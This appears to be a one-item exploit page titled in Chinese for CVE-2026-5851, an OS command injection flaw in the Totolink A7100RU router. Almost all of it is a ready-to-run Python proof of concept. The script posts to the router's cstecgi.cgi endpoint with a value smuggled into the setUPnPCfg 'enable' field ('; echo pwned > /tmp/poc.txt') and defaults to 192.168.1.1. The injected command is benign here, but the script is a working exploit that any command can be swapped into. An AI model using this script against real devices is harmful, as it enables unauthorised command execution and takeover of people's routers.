CVE-2026-5851 Totolink A7100RU OS命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Payload to inject a command (e.g., create a file or ping) # Using ';' to separate commands payload = "; echo pwned > /tmp/poc.txt" data = { "topicurl": "setUPnPCfg", "enable": payload } try: r = requests.post(url, headers=headers, data=data, timeout=5) print(f"[*] Sent payload to {target_ip}") print(f"[*] Status: {r.status_code}") print(f"[*] Response: {r.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("192.168.1.1")